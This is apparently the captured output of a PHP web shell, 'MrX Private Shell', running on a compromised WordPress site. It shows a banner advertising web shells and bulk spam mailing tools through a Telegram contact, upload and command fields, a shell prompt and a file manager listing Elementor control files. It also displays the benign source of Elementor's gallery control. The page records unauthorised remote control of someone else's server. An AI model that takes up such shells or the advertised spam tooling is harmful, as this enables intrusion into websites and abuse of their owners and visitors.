__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
namespace Elementor;

use Elementor\Core\Utils\Hints;
use Elementor\Modules\DynamicTags\Module as TagsModule;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor gallery control.
 *
 * A base control for creating gallery chooser control. Based on the WordPress
 * media library galleries. Used to select images from the WordPress media library.
 *
 * @since 1.0.0
 */
class Control_Gallery extends Base_Data_Control {

	/**
	 * Get gallery control type.
	 *
	 * Retrieve the control type, in this case `gallery`.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return string Control type.
	 */
	public function get_type() {
		return 'gallery';
	}

	public function on_export( $settings ) {
		foreach ( $settings as $attachment ) {
			if ( ! empty( $attachment['url'] ) ) {
				do_action( 'elementor/templates/collect_media_url', $attachment['url'], $attachment );
			}
		}

		return $settings;
	}

	/**
	 * Import gallery images.
	 *
	 * Used to import gallery control files from external sites while importing
	 * Elementor template JSON file, and replacing the old data.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param array $settings Control settings.
	 *
	 * @return array Control settings.
	 */
	public function on_import( $settings ) {
		foreach ( $settings as &$attachment ) {
			if ( empty( $attachment['url'] ) ) {
				continue;
			}

			$local_file_path = \Elementor\TemplateLibrary\Classes\Media_Mapper::get_local_file_path( $attachment['url'] );
			$imported_attachment = false;

			if ( $local_file_path !== $attachment['url'] && file_exists( $local_file_path ) ) {
				$imported_attachment = Plugin::$instance->templates_manager->get_import_images_instance()->import_local_file( $local_file_path );
			}

			if ( ! $imported_attachment ) {
				$imported_attachment = Plugin::$instance->templates_manager->get_import_images_instance()->import( $attachment );
			}

			$attachment = $imported_attachment;
		}

		// Filter out attachments that don't exist
		$settings = array_filter( $settings );

		return $settings;
	}

	/**
	 * Render gallery control output in the editor.
	 *
	 * Used to generate the control HTML in the editor using Underscore JS
	 * template. The variables for the class are available using `data` JS
	 * object.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function content_template() {
		?>
		<div class="elementor-control-field">
			<div class="elementor-control-title">{{{ data.label }}}</div>
			<div class="elementor-control-input-wrapper">
				<# if ( data.description ) { #>
				<div class="elementor-control-field-description">{{{ data.description }}}</div>
				<# } #>
				<div class="elementor-control-media__content elementor-control-tag-area">
					<div class="elementor-control-gallery-status elementor-control-dynamic-switcher-wrapper">
						<span class="elementor-control-gallery-status-title"></span>
						<button class="elementor-control-gallery-clear elementor-control-unit-1 tooltip-target" data-tooltip="<?php echo esc_attr__( 'Clear gallery', 'elementor' ); ?>" aria-label="<?php echo esc_attr__( 'Clear gallery', 'elementor' ); ?>">
							<i class="eicon-trash-o" aria-hidden="true"></i>
						</button>
					</div>
					<div class="elementor-control-gallery-content">
						<div class="elementor-control-gallery-thumbnails" tabindex="0"></div>
						<div class="elementor-control-gallery-edit">
							<span><i class="eicon-pencil" aria-hidden="true"></i></span>
							<span class="elementor-screen-only"><?php echo esc_html__( 'Edit gallery', 'elementor' ); ?></span>
						</div>
						<button class="elementor-button elementor-control-gallery-add tooltip-target" data-tooltip="<?php echo esc_attr__( 'Add Images', 'elementor' ); ?>" aria-label="<?php echo esc_attr__( 'Add Images', 'elementor' ); ?>">
							<i class="eicon-plus-circle" aria-hidden="true"></i>
						</button>
					</div>
				</div>

				<?php
				/*
				?>
				<div class="elementor-control-media__warnings" role="alert" style="display: none;">
					<?php
					Hints::get_notice_template( [
						'type' => 'warning',
						'content' => esc_html__( 'This image doesn’t contain ALT text - which is necessary for accessibility and SEO.', 'elementor' ),
						'icon' => true,
					] );
					?>
				</div>
				<?php
				*/ ?>
				<?php $this->maybe_display_io_hints(); ?>
			</div>
		</div>
		<?php
	}

	private function maybe_display_io_hints() {
		if ( Hints::should_display_hint( 'image-optimization' ) ) {
			$content_text = esc_html__( 'Optimize your images to enhance site performance by using Image Optimizer.', 'elementor' );
			$button_text = Hints::is_plugin_installed( 'image-optimization' ) ? esc_html__( 'Activate Plugin', 'elementor' ) : esc_html__( 'Install Plugin', 'elementor' );
			$action_url = Hints::get_plugin_action_url( 'image-optimization' );
		} elseif ( Hints::should_display_hint( 'image-optimization-connect' ) ) {
			$content_text = esc_html__( "This image isn't optimized. You need to connect your Image Optimizer account first.", 'elementor' );
			$button_text = esc_html__( 'Connect Now', 'elementor' );
			$action_url = admin_url( 'admin.php?page=image-optimization-settings' );
		} else {
			return;
		}

		?>
		<div class="elementor-control-media__promotions" role="alert" style="display: none;">
			<?php
			Hints::get_notice_template( [
				'display' => ! Hints::is_dismissed( 'image-optimization' ),
				'type' => 'info',
				'content' => $content_text,
				'icon' => true,
				'dismissible' => 'image_optimizer_hint',
				'button_text' => $button_text,
				'button_event' => 'image_optimizer_hint',
				'button_data' => [
					'action_url' => $action_url,
				],
			] ); ?>
		</div>
		<?php
	}

	/**
	 * Get gallery control default settings.
	 *
	 * Retrieve the default settings of the gallery control. Used to return the
	 * default settings while initializing the gallery control.
	 *
	 * @since 1.0.0
	 * @access protected
	 *
	 * @return array Control default settings.
	 */
	protected function get_default_settings() {
		return [
			'label_block' => true,
			'dynamic' => [
				'categories' => [ TagsModule::GALLERY_CATEGORY ],
				'returnType' => 'object',
			],
		];
	}

	/**
	 * Get gallery control default values.
	 *
	 * Retrieve the default value of the gallery control. Used to return the default
	 * values while initializing the gallery control.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return array Control default value.
	 */
	public function get_default_value() {
		return [];
	}
}

Filemanager

Name Type Size Permission Actions
groups Folder 0775
alert.php File 1.79 KB 0664
animation.php File 4.76 KB 0664
base-data.php File 3.66 KB 0664
base-icon-font.php File 580 B 0664
base-multiple.php File 2.03 KB 0664
base-ui.php File 516 B 0664
base-units.php File 3.5 KB 0664
base.php File 3.08 KB 0664
box-shadow.php File 3.39 KB 0664
button.php File 1.68 KB 0664
choose.php File 2.19 KB 0664
code.php File 1.99 KB 0664
color.php File 2.04 KB 0664
date-time.php File 2.04 KB 0664
deprecated-notice.php File 2.27 KB 0664
dimensions.php File 5 KB 0664
divider.php File 829 B 0664
exit-animation.php File 2.54 KB 0664
font.php File 2.22 KB 0664
gallery.php File 6.39 KB 0664
gaps.php File 1.62 KB 0664
heading.php File 1.32 KB 0664
hidden.php File 948 B 0664
hover-animation.php File 4.32 KB 0664
icon.php File 31.33 KB 0664
icons.php File 7.57 KB 0664
image-dimensions.php File 3.71 KB 0664
media.php File 14.12 KB 0664
notice.php File 4.07 KB 0664
number.php File 2.76 KB 0664
popover-toggle.php File 2.66 KB 0664
raw-html.php File 1.48 KB 0664
repeater.php File 4.96 KB 0664
section.php File 1.33 KB 0664
select.php File 2.56 KB 0664
select2.php File 2.72 KB 0664
slider.php File 3.49 KB 0664
structure.php File 2.46 KB 0664
switcher.php File 2.08 KB 0664
tab.php File 1.01 KB 0664
tabs.php File 944 B 0664
text-shadow.php File 3.13 KB 0664
text.php File 2.08 KB 0664
textarea.php File 2.01 KB 0664
url.php File 5.13 KB 0664
visual-choice.php File 2.15 KB 0664
wp-widget.php File 1.35 KB 0664
wysiwyg.php File 1.73 KB 0664
Filemanager